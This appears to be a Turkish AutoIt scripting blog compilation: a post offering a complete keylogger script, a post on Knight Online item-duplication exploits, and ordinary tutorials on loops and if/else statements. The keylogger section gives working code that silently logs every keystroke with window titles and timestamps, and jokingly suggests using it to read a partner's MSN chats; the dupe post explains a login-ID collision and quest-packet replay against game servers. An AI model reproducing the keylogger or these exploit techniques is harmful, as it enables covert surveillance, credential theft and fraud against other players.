Keylogger yapımı, hazır keylogger scripti

hello :D Bugünkü proğğğğramımızda keylogger yapacağız. Ki yapılmışı var :D, o halde paylaşacağız.

Keylogger nedir? bilmeyenler için yazıyorum, basılan tuşları not alan, kaydeden birşeydir. Keylogger kullanımının amacı ciddi işler için olmalıdır, paylaştığım bu scripti alıpda bir başkasına ait şeyleri çalma teşebbüsünde bulunacak kimseler, sakın bu scripti kullanmayın. Çünkü hile ve 3 kağıtçılıkla elde ettiğiniz şeyden hayır gelmez, eninde sonunda acısı bir şekilde çıkar. Lütfen daha insancıl yöntemler için kullanın, örn: sevgilinin seni aldattığını mı düşünüyorsun ? :D bak bakalım msnde ne konuşuyor. Bu seferde gidip katil olmayasın sakın ama :P neyse ben sorumluluk almıyorum. Bu script test amaçlı yayınlanmıştır, kullanım şekli ve kullanım alanı tamamı ile kullanıcısını alakadar eder. Ben, veya autoitscript.blogspot.com blog unun sahibi hiç bir suçlama kabul etmeyecektir. Sözleşmemiz bu :D vatana millete hayırlı olsun. Knight online da bir başkasının charını soymak için kullanan ajdar gibi olsun, çaldığı itemin 10 katını kaybetsin hemde gerçek hayatta kaybetsin inş. Hadi kolay gelsin :D Upload kısmını yazan paylaşmasın, upload yazmamamın nedeni yukarıda yazdığım şey. Kötü amaçlı kullanılmasını istemediğimden. Autoit versiyonu 3.2.4.9, eski yani hata çıkarsa fonksiyon ismine bir alt çizgi eklemeniz sorunu çözer.

Scriptin adı: K-logger ALPHA.
Scriptin fonksiyonu: Basılan tuşları algılayıp, kaydetmek.
Scriptin durumu: %80 çalışır durumda.
Eksikleri: arka arkaya basılan tuşları not alamıyor, örn: 2 kere a ya basıldığında yani aa basıldığında a olarak kaydediyor, yolu bulunur size kalmış. Çok seri 50ms nin altında yapılan girdileri yakalamayabilir.
Artıları: Tuş basıldığı anda hangi program aktifse onuda yakalıyor ve not alırken saati tarihide kaydediyor.

#cs ----------------------------------------------------------------------------

AutoIt Version: 3.2.4.9
Author: 313

Script Function:
Keylogger.

#ce ----------------------------------------------------------------------------

; Script Start - Add your code below here

#include
#include

Global $dll = DllOpen("user32.dll")
Global $harf, $lastharf
Global $backspace, $enter, $del, $0, $1, $2, $3, $4, $5, $6, $7, $8, $9, $a, $b, $c, $d, $e, $f, $g, $h, $i, $j, $k, $L, $m, $n
Global $o, $p, $q, $r, $s, $t, $u, $v, $w, $x, $y, $z, $NUMPAD0, $NUMPAD1, $NUMPAD2, $NUMPAD3, $NUMPAD4, $NUMPAD5, $NUMPAD6
Global $NUMPAD7, $NUMPAD8, $NUMPAD9
Global $filename = @ScriptDir&"\log.txt", $title, $lasttime, $time, $writetime, $readfirst

While 1

Sleep(49)
keygrab()
getactivewindow()
writethem()

WEnd

Func getactivewindow()
$active = WinGetTitle("","")
$title = $active
$time = _NowTime(4)
EndFunc


Func keygrab()
if _IsPressed("08") Then $harf = "[BACKSPACE]"
if _IsPressed("0D") Then $harf = "[ENTER]"
if _IsPressed("2E") Then $harf = "[DELETE]"
if _IsPressed("09") Then $harf = "[TAB]"
if _IsPressed("20") Then $harf = "[SPACE]"
if _IsPressed("30") Then $harf = "0"
if _IsPressed("31") Then $harf = "1"
if _IsPressed("32") Then $harf = "2"
if _IsPressed("33") Then $harf = "3"
if _IsPressed("34") Then $harf = "4"
if _IsPressed("35") Then $harf = "5"
if _IsPressed("36") Then $harf = "6"
if _IsPressed("37") Then $harf = "7"
if _IsPressed("38") Then $harf = "8"
if _IsPressed("39") Then $harf = "9"
if _IsPressed("41") Then $harf = "a"
if _IsPressed("42") Then $harf = "b"
if _IsPressed("43") Then $harf = "c"
if _IsPressed("44") Then $harf = "d"
if _IsPressed("45") Then $harf = "e"
if _IsPressed("46") Then $harf = "f"
if _IsPressed("47") Then $harf = "g"
if _IsPressed("48") Then $harf = "h"
if _IsPressed("49") Then $harf = "i"
if _IsPressed("4A") Then $harf = "j"
if _IsPressed("4B") Then $harf = "k"
if _IsPressed("4C") Then $harf = "L"
if _IsPressed("4D") Then $harf = "m"
if _IsPressed("4E") Then $harf = "n"
if _IsPressed("4F") Then $harf = "o"
if _IsPressed("50") Then $harf = "p"
if _IsPressed("51") Then $harf = "q"
if _IsPressed("52") Then $harf = "r"
if _IsPressed("53") Then $harf = "s"
if _IsPressed("54") Then $harf = "t"
if _IsPressed("55") Then $harf = "u"
if _IsPressed("56") Then $harf = "v"
if _IsPressed("57") Then $harf = "w"
if _IsPressed("58") Then $harf = "x"
if _IsPressed("59") Then $harf = "y"
if _IsPressed("5A") Then $harf = "z"
if _IsPressed("60") Then $harf = "0"
if _IsPressed("61") Then $harf = "1"
if _IsPressed("62") Then $harf = "2"
if _IsPressed("63") Then $harf = "3"
if _IsPressed("64") Then $harf = "4"
if _IsPressed("65") Then $harf = "5"
if _IsPressed("66") Then $harf = "6"
if _IsPressed("67") Then $harf = "7"
if _IsPressed("68") Then $harf = "8"
if _IsPressed("69") Then $harf = "9"
EndFunc

Func writethem()

if $harf = "" Then Return
If $harf = $lastharf Then Return

$filename = @ScriptDir&"\log.txt"
if $time = $lasttime Then
$writetime = $lasttime
$readfirst = IniRead($filename,$title,$writetime,"")
Else
$writetime = $time
$readfirst = IniRead($filename,$title,$writetime,"")
EndIf
IniWrite($filename,$title,$writetime,$readfirst&$harf)

$lastharf = $harf
$lasttime = $time

EndFunc

1835 Dupe çıktı koş, kaçıran pişman

Evet arkadaşlar hoşgeldiniz, dupenin mantığı üzerine konuşalım biraz. Dupe nedir, nasıl yapılır veya dupe yapmak terimlerini teknik anlamda ele alıcaz.

Dupe: (uzun olarak duplicate) ingilizcede kopyalamak, (çoğaltarak kopyalamak) anlamına gelir. Dupe oyun dünyasında kısalmış halidir. Ağa nın aga olması gibi :D

Dupe nasıl yapılır?
Dupe yapabilmek için öncelikle bize dupelenecek bir eşya, item gerekiyor :D Neyi kopyalayacağımıza karar verdikten sonra dupe işlemine geçiyoruz. Dupe, oyunun açıklarından faydalanarak yapılan bir dalgadır. Bu açıklar server-side gerçekleştiğinde, kopyalama işlemimiz başarılı olmuş demektir. Anladığınız üzere dupeyi servera yedirmedikçe elimize hiçbir şey geçmiyor. Örnek vermek gerekirse bir ara 2 karakter sokarak dupe yaptı herkez. Nasıl oldu olayın teknik boyutuna inelim. Oyunda her karakterin 1 id si vardır. id unique yani tek dir. 1 id den 1 tane daha olamaz. Yani olmamalıdır işlerin yolunda gitmesi için. Bizim kardeşlerimiz bunu başardı :D 2 aynı id li charı oyuna soktu ve dupe yaptılar. Peki serverda koruma olmasına rağmen 2 aynı id nasıl oyuna aynı anda sokuldu? İşte düğüm burda çözülüyor. Mysql veritabanındaki bir açıktan faydalanılarak yapılan bu olayda türkçe karakterli idler (önceden bildiğiniz gibi türkçe karakterli id ler alabiliyorduk) görmezden gelindi. yani zürafa idsi ile login olan bir oyuncuyu server zyrafa şeklinde olarak gördü, ü karakterini tanımlayamadığı içinde 2. kere zürafa logini yapan oyuncuyu tekrar içeri aldı. Sonuç olarak k2 türkçe id leri kayda kapatma yoluna gitti. Aslında açıkların tamamı gameserverdan aktarılarak mysql serverda gerçekleşiyor. Yeni patch geldiğinde bilgiğiniz gibi yeni görevlerde beraberinde geliyor. 10k exp ve para bugunu kullanarak dupe dedikleri birşey yaptılar 1720 küsür patchlerde biyerde. Bu aslında dupe değildir. Yapılan şey k2 nin verdiği bir açıktan faydalanmakdır sadece. Burdaki nokta şu: k2 bir görev açıyor, biz bu görevi yapınca mysqlde yaptığımız görevler listesine ekliyor. Bu listeye eklendiğinde bir daha bu görevi göremiyoruz doğal olarak. Ancak, görevi yaptığımızda servera postalanan paket elimizdeyse işler değişiyor :D k2, görevi yaptığımızı kaydediyor ancak, paketi tekrar gönderdiğimizde görevi yapmışmıyız diye kontrol etmiyor, üstüne yazıyor. Püf nokta bu. Yani unutmuşlar :D veya hafife almışlar, görevi yapınca nasıl olsa birdaha açamayacak, nerden bulacak görevi gibi :P Programcılık karmaşık bir iş, o bakımdan her yeni patch geldiğinde bu ve bunun gibi açıkları denemek dupe bulmanın yöntemi. Eskiyi örnek almak ve yeniler üzerinde denemek sonucu verebiliyor.

Konu beklediğinizi vermemiş olabilir ama bana balık verme balık tutmayı öğret demişler :D Her dupe yapan açıklasaydı server oynanmaz hale gelirdi, arayın sizde bulun :D Gidipde başkaları gibi yaymamak lazım.

Döngüler: While, for, do until, for in

Bu aralar çok hızlıyım, makalelerin ardı arkası kesilmiyor. Geçen google da aradım (dün xD) autoit script nedir? diye tüm makaleler benim alla alla dedim ne kadar çok siteye yazmışız :d Neyse konumuz döngüler.

Döngü nedir: dönüp dolaşıp aynı yere gelmek :D
Şöyle devam edelim, dünyayı düşünün. her gün döner. dönerde döner. Ama hep aynı noktaya geri gelir. Sabah olur, akşam olur, 0 noktasından başlar 360 döner tekrar 0 a gelir. İşte döngü bu. Bir au3 scriptte: tüm döngüleri bu anlattığımız örneğe uyarlayabiliriz.

While $dunya = "donuyor"
bunu bunu yap...
Wend
For $i = 0 to $dunyanın_gunleri Step 1
bunu bunu yap.
Next
Do
bunu bunu yap.
Until $dunya <> "dönüyor"
Dediğimiz gibi dünya dönüyor, hiç birşey değişmiyor hareketinde. Ama içeriği sürekli bir değişim halinde. Aslında bu değişimi kullanabilirizde kullanmayabilirizde. Döngü sürekli aynı şeyi tekrarlamak demektir ancak, değişkenler işin içine girince herşey yapılabilir. Dediğim gibi yine dünyayı düşünün. Döner durur ama içerdeki hayat değişkendir. Her insan 1 gün daha yaşlanır, kimisi ölür, kimisi kalır.

Autoitde en çok işinize yarayacak döngü türü while dır.
Case değilde fonksiyon tabanlı bir script oluşturduğunuzda fonksiyonlara geçmeden:
While 1
.........
Wend
kısmını görürsünüz. Bu kısım, scriptin ana döngüsüdür. Bu döngü, script sonlandırılana kadar çalışacaktır. While 1 dediğimizde bu ana döngü oluyor. 1 scriptin açık bulunduğu an anlamına gelir. Script sonlandığında bildiğiniz üzere bu 0 olur ve döngü biter. İlk olarak bu döngünün içinde bir Sleep(100) görürüz. Bu scriptin açık kaldığı süre boyunca 100mili saniye aralıklarla işlem göreceği anlamına gelir. Sleep'i kaldırırsak cpu muz yorulur. Çünkü script döngüyü hiç duraklamadan aralıksız döndürür, buda daha fazla işlemci gücü demektir.

While dan örneklerle devam edelim.
Bir download scripti hazırladığımızı var sayalım. Macrolar bölümünü okuduysanız bilirsiniz, @inetgetactive download işleminin aktif olduğunu bildiren macrodur ve @inetgetbytesread o ana kadar indirilen byte miktarını döndüren macrodur.

While @inetgetactive
tooltip(@inetgetbytesread)
Wend

msgbox(download bitti)
Buradaki döngü, download işlemi bitene kadar sürecektir. Download işlemi süresince tooltipde bize indirilen miktarı gösterecektir. Ayrıca burada hatırlamamız gereken şudur: download aktif olduğu sürece script sadece o döngü içerisinde çalışacaktır. Yani istediğimiz şey wend den sonraysa download bitene kadar beklememiz gerekir :) Msgbox örneği gibi. Ancak download bittiğinde mesaj kutusu gözükecek ve download bitti diyecektir. Nedeni döngünün sonlanmış olması ve scriptin wend satırından sonraki satıra geçmesidir. For a geçmeden basit bir örnek daha verelim:
$sayalim = 0;
$saydik = 0;

While $saydik = 0
$sayalim += 1
if $sayalim = 10 then
$saydik = 1
endif
Wend
10 kadar saydık. ve döngümüz sonlandı. çünkü saydik sıfıra eşitse döngü yap dedik. sayalım değişkeni 10 olduğunda saydık değişkenini 1 yaptık ve döngü sonlandı. Bunu daha pratik olarak 1 değişkenlede yapabilirdik. $sayalım = 0 derdik ve While $sayalım < 10 derdik.

For, döngüsü basit anlamla: a kadar görevlerinde kullanılır. Yine sayalım.
For $i = 0 to 10 Step 1
tooltip($i)
Sleep(1000)
Next
Yukarıdaki örnekde tooltipde 1 den 10 kadar sayacak ve her aralıkda 1 saniye bekleyecektir. Detaya inelim biraz. Forda değişmeyen tek şey $i dir. bu $z de olabilir $c de. For kullanacaksak (bazı durumlar hariç) bir değişken tanımlamalı ve onu arttırmalıyız. (veya azaltmalıyız)

to 10 kısmı 10 a kadar demektir. 0 dan 10 kadar. Step 1 kısmı kaçar aralıklarla ilerleyeceğimizi belirtir. mesela step 2 deseydik, tooltip de 1, 2, 3, 4, yerine 2, 4, 6 sayılarını görecektik. For profesyonel anlamda çok işe yarar bir döngüdür. Array kullananlar bilirler :) For un tek dezavantajı, for döngüsüne giren bir script diğer fonksiyonlarla alakasını keser. Kestirmemenin yolları vardır tabiki. (kesmemiş gibi göstermenin) For döngüsü içinde bir scriptin dünyadan haberi olmayacaktır taki döngü bitene kadar :D script donuyormuş gibi düşünün.

Do, until: beklediğimiz birşey olana kadar şunu yap yerine kullanılır.
$say = 0
Do
$say += 1
msgbox($say)
until $say > 10
Say 10 olana kadar 1 değer atlatıp mesaj kutusu çıkarır. say 10 dan büyük olduğunda döngü sonlanır. Burada $say değişkenini 1 satır aşağıya alırsak, yani do altına, döngünün içine: döngü sonlanmayacaktır, bıraksan sonsuza kadar gider :D Nedeni basit. $say ı 1 değer arttırmamıza rağmen döngünün en başında tekrar 0 a eşitliyoruz. 1 artacak, dönüp dolaşıp başa geldiğinde tekrar 0 olacak.

Şimdi bunları basit olarak nerelerde kullanabiliriz (1er örnek):
Do until: bir kullanıcı adı şifre isteyen program düşünün. Scriptin en başına do untili koyarız, istediğimiz şifre gelene kadar satır atlamaz ve formu göstermez.

While için zaten download olayını verdik. Bunun dışında saat düşünün. Formun bi köşesine saat koyarız ve sleep(1000) ile beraber ana döngümüzde saati ayarlatırız. Script açık olduğu sürece bu devam eder.

For: Bir mp3 çalar yaptığımızı düşünelim. Bir klasördeki tüm mp3leri aldırdık ve arrayda topladık. For $i = 0 to $array_max deriz, toplam mp3 sayısına kadar bir listboxa şarkıları yazdırırız, satır satır.

Bu aşamadan sonra size hayal gücünüzü kullanmak kalıyor. Yapabileceğiniz şeylerin sınırı yok. Ufak ufak denemeler yaparak, test ederek sonucu elde edebilirsiniz. Aklınıza takılan yeri sormaktan çekinmeyin kankalar :D

If-then-else neden bu kadar seviliyor?

Bilginin orjinaline hoşgeldiniz :) Autoit Statements lere pek fazla değinmediğimi farkettim. Bu yazıda if then else, else if, endif öğrenelim biraz.

Nedir conditional statements?
Condition şart demektir. Statement ise hesap. Dolayısıyla şartlı (koşullu) hesaplar anlamına geliyor olmalı yanlışımız yoksa :D Aslında bu kısmına bakarsak işin mantığı kavramak çok kolay. Bilmiyorum, öğrenemem, nasıl öğrenicem stresini üzerinizden atın :D Şimdi 3 aşamada ele alalım.

IF bişey şöyleyse THEN => (bu satır bizim şartımız oluyor)
birşeyler yap.... => (bu 3 satırda hesaplar denilen kısım oluyor)
birşeyler yap....
birşeyler yap....
ENDIF

Şimdi kanka illa hesapmı yapcaz? yani 3+5 bilmemne xD yok o şekilde değil olay. Bu arada yapılan işlem ve if-then-endif toplamı zaten hesabın bütününü oluşturuyor.

Mesala basit bir örnekle değinelim olaya: Farzetki senin bi çocuğun var. Adı: Samet xD
Telefonla aradın bunu dedinki: "Samet dayınlara git, eğer dayın ordaysa söyle bize gelsin."

Çeviriyoruz :D

SametGo(dayımlar xD) ;sameti götüren fonksiyon :D
IF dayı = orda THEN
DayiKaldiran("Babam seni al gel dedi")
ENDIF

DayiKaldiran fonksiyonunu yazmama gerek yoktur heralde :D
Şimdi burda matematiksel bi hesapmı yaptık? yapmadık. Demekki işlemin geneline hesap deniyor, hesap denmesine ilk if then neden oluyor ortada bir matematik olmak zorunda değil :D

Şimdi bu if then olayı scriptlerde nasıl işimize yarayacak buna değinelim biraz. Belki bu güzel örneğe rağmen anlamamış olanlar vardır :D

knightOnline :D... oynamasakda en güzel örnek. Çok kısa. karakterin hp sini alıyoruz ve hp 500 ve 500den küçük ise kırmızı tüp xD (hp pot) iç diyoruz. xD

IF $hp<=500 THEN
Send($potkey)
ENDIF

İşte bu kadar basit. Burada dikkat etmek gereken bir nokta var. Dersekki: Eğer hp 500 ise pot iç olmaz :D çünkü hp küt diye gelip 500de duracak diye bi garantimiz yok. Mesela werewolf bi çakar hpmiz 530 dan 480e düşer :D kapiş. burada yapmamız gereken 500 ve 500 den küçükse şartını kullanmaktır. Eğer dersekki $hp = 500 o zaman sadece hp 500 olursa pota basar. 500 ün altına düşünce basmayacaktır. Daha basit olarak burada = yerine < kullanabiliriz aslında. niye uzatıyosam :D $hp < 500 daha makuldür kankalar :D

Onu geçtim. Bu olayı biraz daha komplexleştirelim. Şartları çoğaltmak bizim elimizde :D Burada birde else kullanıcaz, else şu durumlarda kullanılır: eğer anlamına gelir ve istediğimiz şart yerine gelmezse görevini görür.

Sıradaki şartımız şudur: "Samet xD bakkala git. bakkal ahmet ordaysa ve sakalları uzunsa bana bi winston soft al ama paketin üzerinde saçma sapan bi resim yoksa al :D Bakkal ahmet yoksa nerdeymiş bul, sonra eve gel sigarayı bana ver" xD

SametGo("bakkal") ;samet yönlendiren fonksiyonumuz yine iş başında :D
IF $bakkal_ahmet = "orda" AND $bakkal_ahmetin_sakalları = "uzun" THEN
$sigara = "WinstonSoft"
$ozellikler = NesneOzellikleri($sigara) ; sigaranın özelliklerini bir değişkende topluyoruz :D

IF $ozellikler["on_resim"] <> "saçma" THEN
satinal($sigara)
SametGo("ev") ; samet eve gider xD
Ver($sigara, "baba") ; babaya sigarasını verir xD
ELSE
SametGo("ev") ; yine eve gider ama sigarayı almadan gider;
Soyle("sigaranın üzerinde saçma bir resim vardı", "baba") ; babaya böyle söyler xD
ENDIF
ELSE
SametGo("kahve") ; samet kahveye gider xD
$cevap = Sor("bakkal ahmet nerde?", "çaycı") ; çaycıya ahmeti sorar xD
SametGo("ev") ; eve gider xD
Soyle("bakkal ahmet"&$cevap&" daymış", "baba") ; bakkal ahmetin nerde olduğunu babaya söyler.
ENDIF

Bu yukarıdaki örneği knightonline da nasıl kullanabiliriz:
IF $hp <> 0 THEN
hp 500 den küçükse ve 0 değilse pot gönder gibi..
ENDIF

Ayrıca burada OR da kullanabiliriz OR, AND e kıyasla veya anlamındadır bildiğiniz gibi. AND kullandığınız şartlı hesaplamalarda verdiğiniz şartların tümünün tutması gerekir. Yani bakkal ahmet ordaysa AND sakalları uzunsa AND bozuk parası varsa diyorsa buradaki tüm şartlar gerçekleşmeli ki hesabı yapabilelim. ANCAK burada OR kullansaydık herhangi bir şartın tutması hesabı yapmamıza yetecekti.

Örnek: ahmet ordaysa OR veli ordaysa OR mehmet ordaysa
dersek, ahmet, veli, mehmet şahıslarından herhangi birinin orda olaması işlemi yapmamıza yetecektir. Şöyle düşünün tekrar babası sameti sigara almaya gönderiyor. Ahmet, veli veya mehmet ordaysa sigarayı al yoksa alma diyor.

KnightOnline Örneği:
IF $hp = 500 OR $hp < 500 THEN
hp 500 e eşitse veya 500den küçükse hp pot iç gibi...
ENDIF

Evet görüldüğü üzere baya bi komplex oldu :D Ayrıca gördüğünüz gibi statement içinde statement kullandık. IF içinde if. Son olarak çok şartlı hesaplara bir örnek verelim. Bunu önceden hazırlanmış bir form gibi düşünün. Formun maddeleri gibi.

$içecek = "çay";
IF $içecek = "çay" THEN
içmem tşk, çay sevmiyorum deriz :P
ELSEIF $içecek = "kahve" THEN
hiç sevmem :P
ELSEIF $içecek = "kola" THEN
istemem :D
ELSEIF $içecek = "ayran" THEN
ver bitane içelim xD
ELSE
o içeceği daha önce hiç duymadım, içmem.
ENDIF

Sadece sondaki ELSE kısmını anlatıcam. Şartları belirttik. bu böyle uzar gider. bütün içecekleri yazmak yerine sadece kendi listemizdeki içecekleri yazdık ve bu liste dışında kalan diğer tüm seçenekler için "o içeceği duymadım" dedik.

KnightOnline örneği :D

$loot = kutuac($x)
IF $loot = "coin" THEN
topla....
ELSEIF $loot = "abyss gem" THEN
topla....
logTut("1 abys gem toplandı saat: bilmem kaçta")
ELSEIF $loot = "720 pot" THEN
topla....
Tüpİç(kırmızı) xD
ELSEIF $loot = "bus" THEN
toplama.... xD
ELSE
toplama...
burada mesela seçeceklerimiz dışındaki itemleri almaması şartını kullanabiliriz.
listede belirttiklerimizi alır. buraya log tuttururuz mesela: short pants +1 düştü ama almadık.
ENDIF

Bu işlemi kısa bir şekilde şöylede yapabilirdik: bunu kavramış olmalısınız.

IF $loot = "coin" OR $loot = "abyss" OR $loot = "bus" THEN
topla.....
ELSEIF $loot = "tentacle" OR $loot = "60 hp pot" THEN
toplama......
ELSEIF $loot = "bes" THEN
git inne koy......
ELSE
log tut..... ve toplama......
ENDIF

şimdilik bu kadar. Sametle maceralarımız devam edicek xD Bir sonraki makalede Loop lara değiniriz. While loop, for loop, do loop vs... Şimdilik kendinize iyi bakın.